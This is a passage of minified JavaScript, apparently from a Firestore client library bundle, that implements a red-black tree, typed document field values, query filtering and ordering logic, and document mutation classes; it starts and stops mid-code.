r=this,i=n(t,r.key);return(r=i<0?r.copy(null,null,null,r.left.insert(t,e,n),null):0===i?r.copy(null,e,null,null,null):r.copy(null,null,null,null,r.right.insert(t,e,n))).fixUp()},t.prototype.removeMin=function(){if(this.left.isEmpty())return t.EMPTY;var e=this;return e.left.isRed()||e.left.left.isRed()||(e=e.moveRedLeft()),(e=e.copy(null,null,null,e.left.removeMin(),null)).fixUp()},t.prototype.remove=function(e,n){var r,i=this;if(n(e,i.key)<0)i.left.isEmpty()||i.left.isRed()||i.left.left.isRed()||(i=i.moveRedLeft()),i=i.copy(null,null,null,i.left.remove(e,n),null);else{if(i.left.isRed()&&(i=i.rotateRight()),i.right.isEmpty()||i.right.isRed()||i.right.left.isRed()||(i=i.moveRedRight()),0===n(e,i.key)){if(i.right.isEmpty())return t.EMPTY;r=i.right.min(),i=i.copy(r.key,r.value,null,null,i.right.removeMin())}i=i.copy(null,null,null,null,i.right.remove(e,n))}return i.fixUp()},t.prototype.isRed=function(){return this.color},t.prototype.fixUp=function(){var t=this;return t.right.isRed()&&!t.left.isRed()&&(t=t.rotateLeft()),t.left.isRed()&&t.left.left.isRed()&&(t=t.rotateRight()),t.left.isRed()&&t.right.isRed()&&(t=t.colorFlip()),t},t.prototype.moveRedLeft=function(){var t=this.colorFlip();return t.right.left.isRed()&&(t=(t=(t=t.copy(null,null,null,null,t.right.rotateRight())).rotateLeft()).colorFlip()),t},t.prototype.moveRedRight=function(){var t=this.colorFlip();return t.left.left.isRed()&&(t=(t=t.rotateRight()).colorFlip()),t},t.prototype.rotateLeft=function(){var e=this.copy(null,null,t.RED,null,this.right.left);return this.right.copy(null,null,this.color,e,null)},t.prototype.rotateRight=function(){var e=this.copy(null,null,t.RED,this.left.right,null);return this.left.copy(null,null,this.color,null,e)},t.prototype.colorFlip=function(){var t=this.left.copy(null,null,!this.left.color,null,null),e=this.right.copy(null,null,!this.right.color,null,null);return this.copy(null,null,!this.color,t,e)},t.prototype.checkMaxDepth=function(){var t=this.check();return Math.pow(2,t)<=this.size+1},t.prototype.check=function(){if(this.isRed()&&this.left.isRed())throw $n("Red node has red child("+this.key+","+this.value+")");if(this.right.isRed())throw $n("Right child of ("+this.key+","+this.value+") is red");var t=this.left.check();if(t!==this.right.check())throw $n("Black depths differ");return t+(this.isRed()?0:1)},t.EMPTY=null,t.RED=!0,t.BLACK=!1,t}(),Zr=function(){function t(){this.size=0}return t.prototype.copy=function(t,e,n,r,i){return this},t.prototype.insert=function(t,e,n){return new $r(t,e)},t.prototype.remove=function(t,e){return this},t.prototype.isEmpty=function(){return!0},t.prototype.inorderTraversal=function(t){return!1},t.prototype.reverseTraversal=function(t){return!1},t.prototype.minKey=function(){return null},t.prototype.maxKey=function(){return null},t.prototype.isRed=function(){return!1},t.prototype.checkMaxDepth=function(){return!0},t.prototype.check=function(){return 0},t}();$r.EMPTY=new Zr,function(t){t[t.NullValue=0]="NullValue",t[t.BooleanValue=1]="BooleanValue",t[t.NumberValue=2]="NumberValue",t[t.TimestampValue=3]="TimestampValue",t[t.StringValue=4]="StringValue",t[t.BlobValue=5]="BlobValue",t[t.RefValue=6]="RefValue",t[t.GeoPointValue=7]="GeoPointValue",t[t.ArrayValue=8]="ArrayValue",t[t.ObjectValue=9]="ObjectValue"}(Or||(Or={})),function(t){t[t.Default=0]="Default",t[t.Estimate=1]="Estimate",t[t.Previous=2]="Previous"}(Pr||(Pr={}));var ti=function(){function t(t,e){this.serverTimestampBehavior=t,this.timestampsInSnapshots=e}return t.fromSnapshotOptions=function(e,n){switch(e.serverTimestamps){case"estimate":return new t(Pr.Estimate,n);case"previous":return new t(Pr.Previous,n);case"none":case void 0:return new t(Pr.Default,n);default:return $n("fromSnapshotOptions() called with invalid options.")}},t}(),ei=function(){function t(){}return t.prototype.toString=function(){var t=this.value();return null===t?"null":t.toString()},t.prototype.defaultCompareTo=function(t){return Zn(this.typeOrder!==t.typeOrder,"Default compareTo should not be used for values of same type."),Ar(this.typeOrder,t.typeOrder)},t}(),ni=function(t){function e(){var e=t.call(this)||this;return e.typeOrder=Or.NullValue,e.internalValue=null,e}return a(e,t),e.prototype.value=function(t){return null},e.prototype.isEqual=function(t){return t instanceof e},e.prototype.compareTo=function(t){return t instanceof e?0:this.defaultCompareTo(t)},e.INSTANCE=new e,e}(ei),ri=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.BooleanValue,n}return a(e,t),e.prototype.value=function(t){return this.internalValue},e.prototype.isEqual=function(t){return t instanceof e&&this.internalValue===t.internalValue},e.prototype.compareTo=function(t){return t instanceof e?Ar(this,t):this.defaultCompareTo(t)},e.of=function(t){return t?e.TRUE:e.FALSE},e.TRUE=new e(!0),e.FALSE=new e(!1),e}(ei),ii=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.NumberValue,n}return a(e,t),e.prototype.value=function(t){return this.internalValue},e.prototype.compareTo=function(t){return t instanceof e?(n=this.internalValue,r=t.internalValue,n<r?-1:n>r?1:n===r?0:isNaN(n)?isNaN(r)?0:-1:1):this.defaultCompareTo(t);var n,r},e}(ei);function oi(t,e){return t===e?0!==t||1/t==1/e:t!=t&&e!=e}var si=function(t){function e(e){return t.call(this,e)||this}return a(e,t),e.prototype.isEqual=function(t){return t instanceof e&&oi(this.internalValue,t.internalValue)},e}(ii),ai=function(t){function e(e){var n=t.call(this,e)||this;return n.internalValue=e,n}return a(e,t),e.prototype.isEqual=function(t){return t instanceof e&&oi(this.internalValue,t.internalValue)},e.NAN=new e(NaN),e.POSITIVE_INFINITY=new e(1/0),e.NEGATIVE_INFINITY=new e(-1/0),e}(ii),ui=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.StringValue,n}return a(e,t),e.prototype.value=function(t){return this.internalValue},e.prototype.isEqual=function(t){return t instanceof e&&this.internalValue===t.internalValue},e.prototype.compareTo=function(t){return t instanceof e?Ar(this.internalValue,t.internalValue):this.defaultCompareTo(t)},e}(ei),ci=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.TimestampValue,n}return a(e,t),e.prototype.value=function(t){return t&&t.timestampsInSnapshots?this.internalValue:this.internalValue.toDate()},e.prototype.isEqual=function(t){return t instanceof e&&this.internalValue.isEqual(t.internalValue)},e.prototype.compareTo=function(t){return t instanceof e?this.internalValue._compareTo(t.internalValue):t instanceof hi?-1:this.defaultCompareTo(t)},e}(ei),hi=function(t){function e(e,n){var r=t.call(this)||this;return r.localWriteTime=e,r.previousValue=n,r.typeOrder=Or.TimestampValue,r}return a(e,t),e.prototype.value=function(t){return t&&t.serverTimestampBehavior===Pr.Estimate?new ci(this.localWriteTime).value(t):t&&t.serverTimestampBehavior===Pr.Previous&&this.previousValue?this.previousValue.value(t):null},e.prototype.isEqual=function(t){return t instanceof e&&this.localWriteTime.isEqual(t.localWriteTime)},e.prototype.compareTo=function(t){return t instanceof e?this.localWriteTime._compareTo(t.localWriteTime):t instanceof ci?1:this.defaultCompareTo(t)},e.prototype.toString=function(){return"<ServerTimestamp localTime="+this.localWriteTime.toString()+">"},e}(ei),li=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.BlobValue,n}return a(e,t),e.prototype.value=function(t){return this.internalValue},e.prototype.isEqual=function(t){return t instanceof e&&this.internalValue.isEqual(t.internalValue)},e.prototype.compareTo=function(t){return t instanceof e?this.internalValue._compareTo(t.internalValue):this.defaultCompareTo(t)},e}(ei),fi=function(t){function e(e,n){var r=t.call(this)||this;return r.databaseId=e,r.key=n,r.typeOrder=Or.RefValue,r}return a(e,t),e.prototype.value=function(t){return this.key},e.prototype.isEqual=function(t){return t instanceof e&&(this.key.isEqual(t.key)&&this.databaseId.isEqual(t.databaseId))},e.prototype.compareTo=function(t){if(t instanceof e){var n=this.databaseId.compareTo(t.databaseId);return 0!==n?n:jr.comparator(this.key,t.key)}return this.defaultCompareTo(t)},e}(ei),di=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.GeoPointValue,n}return a(e,t),e.prototype.value=function(t){return this.internalValue},e.prototype.isEqual=function(t){return t instanceof e&&this.internalValue.isEqual(t.internalValue)},e.prototype.compareTo=function(t){return t instanceof e?this.internalValue._compareTo(t.internalValue):this.defaultCompareTo(t)},e}(ei),pi=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.ObjectValue,n}return a(e,t),e.prototype.value=function(t){var e={};return this.internalValue.inorderTraversal(function(n,r){e[n]=r.value(t)}),e},e.prototype.forEach=function(t){this.internalValue.inorderTraversal(t)},e.prototype.isEqual=function(t){if(t instanceof e){for(var n=this.internalValue.getIterator(),r=t.internalValue.getIterator();n.hasNext()&&r.hasNext();){var i=n.getNext(),o=r.getNext();if(i.key!==o.key||!i.value.isEqual(o.value))return!1}return!n.hasNext()&&!r.hasNext()}return!1},e.prototype.compareTo=function(t){if(t instanceof e){for(var n=this.internalValue.getIterator(),r=t.internalValue.getIterator();n.hasNext()&&r.hasNext();){var i=n.getNext(),o=r.getNext(),s=Ar(i.key,o.key)||i.value.compareTo(o.value);if(s)return s}return Ar(n.hasNext(),r.hasNext())}return this.defaultCompareTo(t)},e.prototype.set=function(t,n){if(Zn(!t.isEmpty(),"Cannot set field for empty path on ObjectValue"),1===t.length)return this.setChild(t.firstSegment(),n);var r=this.child(t.firstSegment());r instanceof e||(r=e.EMPTY);var i=r.set(t.popFirst(),n);return this.setChild(t.firstSegment(),i)},e.prototype.delete=function(t){if(Zn(!t.isEmpty(),"Cannot delete field for empty path on ObjectValue"),1===t.length)return new e(this.internalValue.remove(t.firstSegment()));var n=this.child(t.firstSegment());if(n instanceof e){var r=n.delete(t.popFirst());return new e(this.internalValue.insert(t.firstSegment(),r))}return this},e.prototype.contains=function(t){return void 0!==this.field(t)},e.prototype.field=function(t){Zn(!t.isEmpty(),"Can't get field of empty path");var n=this;return t.forEach(function(t){n=n instanceof e&&n.internalValue.get(t)||void 0}),n},e.prototype.toString=function(){return JSON.stringify(this.value())},e.prototype.child=function(t){return this.internalValue.get(t)||void 0},e.prototype.setChild=function(t,n){return new e(this.internalValue.insert(t,n))},e.EMPTY=new e(new Yr(Ar)),e}(ei),mi=function(t){function e(e){var n=t.call(this)||this;return n.internalValue=e,n.typeOrder=Or.ArrayValue,n}return a(e,t),e.prototype.value=function(t){return this.internalValue.map(function(e){return e.value(t)})},e.prototype.forEach=function(t){this.internalValue.forEach(t)},e.prototype.isEqual=function(t){if(t instanceof e){if(this.internalValue.length!==t.internalValue.length)return!1;for(var n=0;n<this.internalValue.length;n++)if(!this.internalValue[n].isEqual(t.internalValue[n]))return!1;return!0}return!1},e.prototype.compareTo=function(t){if(t instanceof e){for(var n=Math.min(this.internalValue.length,t.internalValue.length),r=0;r<n;r++){var i=this.internalValue[r].compareTo(t.internalValue[r]);if(i)return i}return Ar(this.internalValue.length,t.internalValue.length)}return this.defaultCompareTo(t)},e.prototype.toString=function(){return JSON.stringify(this.value())},e}(ei),yi=Number,gi=yi.MIN_SAFE_INTEGER||-(Math.pow(2,53)-1),vi=yi.MAX_SAFE_INTEGER||Math.pow(2,53)-1,bi=yi.isInteger||function(t){return"number"==typeof t&&isFinite(t)&&Math.floor(t)===t};function wi(t){return null===t||void 0===t}function Ti(t){return bi(t)&&t<=vi&&t>=gi}var Si,Ei=function(){function t(t,e,n,r,i,o){void 0===e&&(e=[]),void 0===n&&(n=[]),void 0===r&&(r=null),void 0===i&&(i=null),void 0===o&&(o=null),this.path=t,this.explicitOrderBy=e,this.filters=n,this.limit=r,this.startAt=i,this.endAt=o,this.memoizedCanonicalId=null,this.memoizedOrderBy=null,this.startAt&&this.assertValidBound(this.startAt),this.endAt&&this.assertValidBound(this.endAt)}return t.atPath=function(e){return new t(e)},Object.defineProperty(t.prototype,"orderBy",{get:function(){if(null===this.memoizedOrderBy){var t=this.getInequalityFilterField(),e=this.getFirstOrderByField();if(null!==t&&null===e)t.isKeyField()?this.memoizedOrderBy=[Oi]:this.memoizedOrderBy=[new Mi(t),Oi];else{Zn(null===t||null!==e&&t.isEqual(e),"First orderBy should match inequality field."),this.memoizedOrderBy=[];for(var n=!1,r=0,i=this.explicitOrderBy;r<i.length;r++){var o=i[r];this.memoizedOrderBy.push(o),o.field.isKeyField()&&(n=!0)}if(!n){var s=this.explicitOrderBy.length>0?this.explicitOrderBy[this.explicitOrderBy.length-1].dir:ki.ASCENDING;this.memoizedOrderBy.push(s===ki.ASCENDING?Oi:Pi)}}}return this.memoizedOrderBy},enumerable:!0,configurable:!0}),t.prototype.addFilter=function(e){Zn(null==this.getInequalityFilterField()||!(e instanceof Di)||!e.isInequality()||e.field.isEqual(this.getInequalityFilterField()),"Query must only have one inequality field."),Zn(!jr.isDocumentKey(this.path),"No filtering allowed for document query");var n=this.filters.concat([e]);return new t(this.path,this.explicitOrderBy.slice(),n,this.limit,this.startAt,this.endAt)},t.prototype.addOrderBy=function(e){Zn(!jr.isDocumentKey(this.path),"No ordering allowed for document query"),Zn(!this.startAt&&!this.endAt,"Bounds must be set after orderBy");var n=this.explicitOrderBy.concat([e]);return new t(this.path,n,this.filters.slice(),this.limit,this.startAt,this.endAt)},t.prototype.withLimit=function(e){return new t(this.path,this.explicitOrderBy.slice(),this.filters.slice(),e,this.startAt,this.endAt)},t.prototype.withStartAt=function(e){return new t(this.path,this.explicitOrderBy.slice(),this.filters.slice(),this.limit,e,this.endAt)},t.prototype.withEndAt=function(e){return new t(this.path,this.explicitOrderBy.slice(),this.filters.slice(),this.limit,this.startAt,e)},t.prototype.canonicalId=function(){if(null===this.memoizedCanonicalId){var t=this.path.canonicalString();t+="|f:";for(var e=0,n=this.filters;e<n.length;e++){t+=n[e].canonicalId(),t+=","}t+="|ob:";for(var r=0,i=this.orderBy;r<i.length;r++){t+=i[r].canonicalId(),t+=","}wi(this.limit)||(t+="|l:",t+=this.limit),this.startAt&&(t+="|lb:",t+=this.startAt.canonicalId()),this.endAt&&(t+="|ub:",t+=this.endAt.canonicalId()),this.memoizedCanonicalId=t}return this.memoizedCanonicalId},t.prototype.toString=function(){var t="Query("+this.path.canonicalString();return this.filters.length>0&&(t+=", filters: ["+this.filters.join(", ")+"]"),wi(this.limit)||(t+=", limit: "+this.limit),this.explicitOrderBy.length>0&&(t+=", orderBy: ["+this.explicitOrderBy.join(", ")+"]"),this.startAt&&(t+=", startAt: "+this.startAt.canonicalId()),this.endAt&&(t+=", endAt: "+this.endAt.canonicalId()),t+")"},t.prototype.isEqual=function(t){if(this.limit!==t.limit)return!1;if(this.orderBy.length!==t.orderBy.length)return!1;for(var e=0;e<this.orderBy.length;e++)if(!this.orderBy[e].isEqual(t.orderBy[e]))return!1;if(this.filters.length!==t.filters.length)return!1;for(e=0;e<this.filters.length;e++)if(!this.filters[e].isEqual(t.filters[e]))return!1;return!!this.path.isEqual(t.path)&&(!(null!==this.startAt?!this.startAt.isEqual(t.startAt):null!==t.startAt)&&(null!==this.endAt?this.endAt.isEqual(t.endAt):null===t.endAt))},t.prototype.docComparator=function(t,e){for(var n=!1,r=0,i=this.orderBy;r<i.length;r++){var o=i[r],s=o.compare(t,e);if(0!==s)return s;n=n||o.field.isKeyField()}return Zn(n,"orderBy used that doesn't compare on key field"),0},t.prototype.matches=function(t){return this.matchesAncestor(t)&&this.matchesOrderBy(t)&&this.matchesFilters(t)&&this.matchesBounds(t)},t.prototype.hasLimit=function(){return!wi(this.limit)},t.prototype.getFirstOrderByField=function(){return this.explicitOrderBy.length>0?this.explicitOrderBy[0].field:null},t.prototype.getInequalityFilterField=function(){for(var t=0,e=this.filters;t<e.length;t++){var n=e[t];if(n instanceof Di&&n.isInequality())return n.field}return null},t.prototype.hasArrayContainsFilter=function(){return void 0!==this.filters.find(function(t){return t instanceof Di&&t.op===Ci.ARRAY_CONTAINS})},t.prototype.isDocumentQuery=function(){return jr.isDocumentKey(this.path)&&0===this.filters.length},t.prototype.matchesAncestor=function(t){var e=t.key.path;return jr.isDocumentKey(this.path)?this.path.isEqual(e):this.path.isPrefixOf(e)&&this.path.length===e.length-1},t.prototype.matchesOrderBy=function(t){for(var e=0,n=this.explicitOrderBy;e<n.length;e++){var r=n[e];if(!r.field.isKeyField()&&void 0===t.field(r.field))return!1}return!0},t.prototype.matchesFilters=function(t){for(var e=0,n=this.filters;e<n.length;e++){if(!n[e].matches(t))return!1}return!0},t.prototype.matchesBounds=function(t){return!(this.startAt&&!this.startAt.sortsBeforeDocument(this.orderBy,t))&&(!this.endAt||!this.endAt.sortsBeforeDocument(this.orderBy,t))},t.prototype.assertValidBound=function(t){Zn(t.position.length<=this.orderBy.length,"Bound is longer than orderBy")},t}(),Ii=function(){function t(){}return t.create=function(t,e,n){if(n.isEqual(ni.INSTANCE)){if(e!==Ci.EQUAL)throw new rr(nr.INVALID_ARGUMENT,"Invalid query. You can only perform equals comparisons on null.");return new Ni(t)}if(n.isEqual(ai.NAN)){if(e!==Ci.EQUAL)throw new rr(nr.INVALID_ARGUMENT,"Invalid query. You can only perform equals comparisons on NaN.");return new Ai(t)}return new Di(t,e,n)},t}(),Ci=function(){function t(t){this.name=t}return t.fromString=function(e){switch(e){case"<":return t.LESS_THAN;case"<=":return t.LESS_THAN_OR_EQUAL;case"==":return t.EQUAL;case">=":return t.GREATER_THAN_OR_EQUAL;case">":return t.GREATER_THAN;case"array-contains":return t.ARRAY_CONTAINS;default:return $n("Unknown relation: "+e)}},t.prototype.toString=function(){return this.name},t.prototype.isEqual=function(t){return this.name===t.name},t.LESS_THAN=new t("<"),t.LESS_THAN_OR_EQUAL=new t("<="),t.EQUAL=new t("=="),t.GREATER_THAN=new t(">"),t.GREATER_THAN_OR_EQUAL=new t(">="),t.ARRAY_CONTAINS=new t("array-contains"),t}(),Di=function(t){function e(e,n,r){var i=t.call(this)||this;return i.field=e,i.op=n,i.value=r,i}return a(e,t),e.prototype.matches=function(t){if(this.field.isKeyField()){Zn(this.value instanceof fi,"Comparing on key, but filter value not a RefValue"),Zn(this.op!==Ci.ARRAY_CONTAINS,"array-contains queries don't make sense on document keys.");var e=this.value,n=jr.comparator(t.key,e.key);return this.matchesComparison(n)}var r=t.field(this.field);return void 0!==r&&this.matchesValue(r)},e.prototype.matchesValue=function(t){var e=this;return this.op===Ci.ARRAY_CONTAINS?t instanceof mi&&void 0!==t.internalValue.find(function(t){return t.isEqual(e.value)}):this.value.typeOrder===t.typeOrder&&this.matchesComparison(t.compareTo(this.value))},e.prototype.matchesComparison=function(t){switch(this.op){case Ci.LESS_THAN:return t<0;case Ci.LESS_THAN_OR_EQUAL:return t<=0;case Ci.EQUAL:return 0===t;case Ci.GREATER_THAN:return t>0;case Ci.GREATER_THAN_OR_EQUAL:return t>=0;default:return $n("Unknown relation op"+this.op)}},e.prototype.isInequality=function(){return this.op!==Ci.EQUAL&&this.op!==Ci.ARRAY_CONTAINS},e.prototype.canonicalId=function(){return this.field.canonicalString()+this.op.toString()+this.value.toString()},e.prototype.isEqual=function(t){return t instanceof e&&(this.op.isEqual(t.op)&&this.field.isEqual(t.field)&&this.value.isEqual(t.value))},e.prototype.toString=function(){return this.field.canonicalString()+" "+this.op+" "+this.value.value()},e}(Ii),Ni=function(t){function e(e){var n=t.call(this)||this;return n.field=e,n}return a(e,t),e.prototype.matches=function(t){var e=t.field(this.field);return void 0!==e&&null===e.value()},e.prototype.canonicalId=function(){return this.field.canonicalString()+" IS null"},e.prototype.toString=function(){return this.field.canonicalString()+" IS null"},e.prototype.isEqual=function(t){return t instanceof e&&this.field.isEqual(t.field)},e}(Ii),Ai=function(t){function e(e){var n=t.call(this)||this;return n.field=e,n}return a(e,t),e.prototype.matches=function(t){var e=t.field(this.field),n=e&&e.value();return"number"==typeof n&&isNaN(n)},e.prototype.canonicalId=function(){return this.field.canonicalString()+" IS NaN"},e.prototype.toString=function(){return this.field.canonicalString()+" IS NaN"},e.prototype.isEqual=function(t){return t instanceof e&&this.field.isEqual(t.field)},e}(Ii),ki=function(){function t(t){this.name=t}return t.prototype.toString=function(){return this.name},t.ASCENDING=new t("asc"),t.DESCENDING=new t("desc"),t}(),Ri=function(){function t(t,e){this.position=t,this.before=e}return t.prototype.canonicalId=function(){for(var t=this.before?"b:":"a:",e=0,n=this.position;e<n.length;e++){t+=n[e].toString()}return t},t.prototype.sortsBeforeDocument=function(t,e){Zn(this.position.length<=t.length,"Bound has more components than query's orderBy");for(var n=0,r=0;r<this.position.length;r++){var i=t[r],o=this.position[r];if(i.field.isKeyField())Zn(o instanceof fi,"Bound has a non-key value where the key path is being used."),n=jr.comparator(o.key,e.key);else{var s=e.field(i.field);Zn(void 0!==s,"Field should exist since document matched the orderBy already."),n=o.compareTo(s)}if(i.dir===ki.DESCENDING&&(n*=-1),0!==n)break}return this.before?n<=0:n<0},t.prototype.isEqual=function(t){if(null===t)return!1;if(this.before!==t.before||this.position.length!==t.position.length)return!1;for(var e=0;e<this.position.length;e++){var n=this.position[e],r=t.position[e];return n.isEqual(r)}return!0},t}(),Mi=function(){function t(t,e){this.field=t,void 0===e&&(e=ki.ASCENDING),this.dir=e,this.isKeyOrderBy=t.isKeyField()}return t.prototype.compare=function(t,e){var n=this.isKeyOrderBy?zr.compareByKey(t,e):zr.compareByField(this.field,t,e);switch(this.dir){case ki.ASCENDING:return n;case ki.DESCENDING:return-1*n;default:return $n("Unknown direction: "+this.dir)}},t.prototype.canonicalId=function(){return this.field.canonicalString()+this.dir.toString()},t.prototype.toString=function(){return this.field.canonicalString()+" ("+this.dir+")"},t.prototype.isEqual=function(t){return this.dir===t.dir&&this.field.isEqual(t.field)},t}(),Oi=new Mi(Wr.keyField(),ki.ASCENDING),Pi=new Mi(Wr.keyField(),ki.DESCENDING),_i=function(){function t(t){this.timestamp=t}return t.fromMicroseconds=function(e){var n=Math.floor(e/1e6);return new t(new qr(n,e%1e6*1e3))},t.fromTimestamp=function(e){return new t(e)},t.forDeletedDoc=function(){return t.MIN},t.prototype.compareTo=function(t){return this.timestamp._compareTo(t.timestamp)},t.prototype.isEqual=function(t){return this.timestamp.isEqual(t.timestamp)},t.prototype.toMicroseconds=function(){return 1e6*this.timestamp.seconds+this.timestamp.nanoseconds/1e3},t.prototype.toString=function(){return"SnapshotVersion("+this.timestamp.toString()+")"},t.prototype.toTimestamp=function(){return this.timestamp},t.MIN=new t(new qr(0,0)),t}();!function(t){t[t.Listen=0]="Listen",t[t.ExistenceFilterMismatch=1]="ExistenceFilterMismatch",t[t.LimboResolution=2]="LimboResolution"}(Si||(Si={}));var Li,xi=function(){function t(t,e,n,r,i,o){void 0===i&&(i=_i.MIN),void 0===o&&(o=er()),this.query=t,this.targetId=e,this.purpose=n,this.sequenceNumber=r,this.snapshotVersion=i,this.resumeToken=o}return t.prototype.copy=function(e){return new t(this.query,this.targetId,this.purpose,void 0===e.sequenceNumber?this.sequenceNumber:e.sequenceNumber,void 0===e.snapshotVersion?this.snapshotVersion:e.snapshotVersion,void 0===e.resumeToken?this.resumeToken:e.resumeToken)},t.prototype.isEqual=function(t){return this.targetId===t.targetId&&this.purpose===t.purpose&&this.sequenceNumber===t.sequenceNumber&&this.snapshotVersion.isEqual(t.snapshotVersion)&&this.resumeToken===t.resumeToken&&this.query.isEqual(t.query)},t}(),qi=function(){function t(t){this.fields=t}return t.prototype.covers=function(t){for(var e=0,n=this.fields;e<n.length;e++){if(n[e].isPrefixOf(t))return!0}return!1},t.prototype.isEqual=function(t){return kr(this.fields,t.fields)},t}(),Fi=function(){function t(t,e){this.field=t,this.transform=e}return t.prototype.isEqual=function(t){return this.field.isEqual(t.field)&&this.transform.isEqual(t.transform)},t}(),Vi=function(){return function(t,e){this.version=t,this.transformResults=e}}();!function(t){t[t.Set=0]="Set",t[t.Patch=1]="Patch",t[t.Transform=2]="Transform",t[t.Delete=3]="Delete"}(Li||(Li={}));var Bi=function(){function t(t,e){this.updateTime=t,this.exists=e,Zn(void 0===t||void 0===e,'Precondition can specify "exists" or "updateTime" but not both')}return t.exists=function(e){return new t(void 0,e)},t.updateTime=function(e){return new t(e)},Object.defineProperty(t.prototype,"isNone",{get:function(){return void 0===this.updateTime&&void 0===this.exists},enumerable:!0,configurable:!0}),t.prototype.isValidFor=function(t){return void 0!==this.updateTime?t instanceof zr&&t.version.isEqual(this.updateTime):void 0!==this.exists?this.exists===t instanceof zr:(Zn(this.isNone,"Precondition should be empty"),!0)},t.prototype.isEqual=function(t){return e=this.updateTime,n=t.updateTime,(null!==e&&void 0!==e?!(!n||!e.isEqual(n)):e===n)&&this.exists===t.exists;var e,n},t.NONE=new t,t}(),Ui=function(){function t(){}return t.prototype.verifyKeyMatches=function(t){null!=t&&Zn(t.key.isEqual(this.key),"Can only apply a mutation to a document with the same key")},t.getPostMutationVersion=function(t){return t instanceof zr?t.version:_i.MIN},t}(),Qi=function(t){function e(e,n,r){var i=t.call(this)||this;return i.key=e,i.value=n,i.precondition=r,i.type=Li.Set,i}return a(e,t),e.prototype.applyToRemoteDocument=function(t,e){this.verifyKeyMatches(t),Zn(null==e.transformResults,"Transform results received by SetMutation.");var n=e.version;return new zr(this.key,n,this.value,{hasCommittedMutations:!0})},e.prototype.applyToLocalView=function(t,e,n){if(this.verifyKeyMatches(t),!this.precondition.isValidFor(t))return t;var r=Ui.getPostMutationVersion(t);return new zr(this.key,r,this.value,{hasLocalMutations:!0})},e.prototype.isEqual=function(t){return t instanceof e&&this.key.isEqual(t.key)&&this.value.isEqual(t.value)&&this.precondition.isEqual(t.precondition)},e}(Ui),Ki=function(t){function e(e,n,r,i){var o=t.call(this)||this;return o.key=e,o.data=n,o.fieldMask=r,o.precondition=i,o.type=Li.Patch,o}return a(e,t),e.prototype.applyToRemoteDocument=function(t,e){if(this.verifyKeyMatches(t),Zn(null==e.transformResults,"Transform results received by PatchMutation."),!this.precondition.isValidFor(t))return new Xr(this.key,e.version);var n=this.patchDocument(t);return new zr(this.key,e.version,n,{hasCommittedMutations:!0})},e.prototype.applyToLocalView=function(t,e,n){if(this.verifyKeyMatches(t),!this.precondition.isValidFor(t))return t;var r=Ui.getPostMutationVersion(t),i=this.patchDocument(t);return new zr(this.key,r,i,{hasLocalMutations:!0})},e.prototype.isEqual=function(t){return t instanceof e&&this.key.isEqual(t.key)&&this.fieldMask.isEqual(t.fieldMask)&&this.precondition.isEqual(t.precondition)},e.prototype.patchDocument=function(t){var e;return e=t instanceof zr?t.data:pi.EMPTY,this.patchObject(e)},e.prototype.patchObject=function(t){for(var e=0,n=this.fieldMask.fields;e<n.length;e++){var r=n[e];if(!r.isEmpty()){var i=this.data.field(r);t=void 0!==i?t.set(r,i):t.delete(r)}}return t},e}(Ui),Wi=function(t){function e(e,n){var r=t.call(this)||this;return r.key=e,r.fieldTransforms=n,r.type=Li.Transform,r.precondition=Bi.exists(!0),r}return a(e,t),e.prototype.applyToRemoteDocument=function(t,e){if(this.verifyKeyMatches(t),Zn(null!=e.transformResults,"Transform results missing for TransformMutation."),!this.precondition.isValidFor(t))return new Xr(this.key,e.version);var n=this.requireDocument(t),r=this.serverTransformResults(t,e.transformResults),i=e.version,o=this.transformObject(n.data,r);return new zr(this.key,i,o,{hasCommittedMutations:!0})},e.prototype.applyToLocalView=function(t,e,n){if(this.verifyKeyMatches(t),!this.precondition.isValidFor(t))return t;var r=this.requireDocument(t),i=this.localTransformResults(n,e),o=this.transformObject(r.data,i);return new zr(this.key,r.version,o,{hasLocalMutations:!0})},e.prototype.isEqual=function(t){return t instanceof e&&this.key.isEqual(t.key)&&kr(this.fieldTransforms,t.fieldTransforms)&&this.precondition.isEqual(t.precondition)},e.prototype.requireDocument=function(t){Zn(t instanceof zr,"Unknown MaybeDocument type "+t);var e=t;return Zn(e.key.isEqual(this.key),"Can only transform a document with the same key"),e},e.prototype.serverTransformResults=function(t,e){var n=[];Zn(this.fieldTransforms.length===e.length,"server transform result count ("+e.length+") should match field transform count ("+this.fieldTransforms.length+")");for(var r=0;r<e.length;r++){var i=this.fieldTransforms[r],o=i.transform,s=null;t instanceof zr&&(s=t.field(i.field)||null),n.push(o.applyToRemoteDocument(s,e[r]))}return n},e.prototype.localTransformResults=function(t,e){for(var n=[],r=0,i=this.fieldTransforms;r<i.length;r++){var o=i[r],s=o.transform,a=null;e instanceof zr&&(a=e.field(o.field)||null),n.push(s.applyToLocalView(a,t))}return n},e.prototype.transformObject=function(t,e){Zn(e.length===this.fieldTransforms.length,"TransformResults length mismatch.");for(var n=0;n<this.fieldTransforms.length;n++){var r=this.fieldTransforms[n].field;t=t.set(r,e[n])}return t},e}(Ui),ji=function(t){function e(e,n){var r=t.call(this)||this;return r.key=e,r.precondition=n,r.type=Li.Delete,r}return a(e,t),e.prototype.applyToRemoteDocument=function(t,e){return this.verifyKeyMatches(t),Zn(null==e.transformResults,"Transform results received by DeleteMutation."),new Hr(this.key,e.version,{hasCommittedMutations:!0})},e.prototype.applyToLocalView=function(t,e,n){return this.verifyKeyMatches(t),this.precondition.isValidFor(t)?(t&&Zn(t.key.isEqual(this.key),"Can only apply mutation to document with same key"),new Hr(this.key,_i.forDeletedDoc())):t},e.prototype.isEqual=function(t){return t instanceof e&&this.key.isEqual(t.key)&&this.precondition.isEqual(t.precondition)},e}(Ui),Gi=function(){function t(){}return t.prototype.applyToLocalView=function(t,e){return new hi(e,t)},t.prototype.applyToRemoteDocument=function(t,e){return e},t.prototype.isEqual=function(e){return e instanceof t},t.instance=new t,t}(),zi=function(){function t(t){this.elements=t}return t.prototype.applyToLocalView=function(t,e){return this.apply(t)},t.prototype.applyToRemoteDocument=function(t,e){return this.apply(t)},t.prototype.apply=function(t){for(var 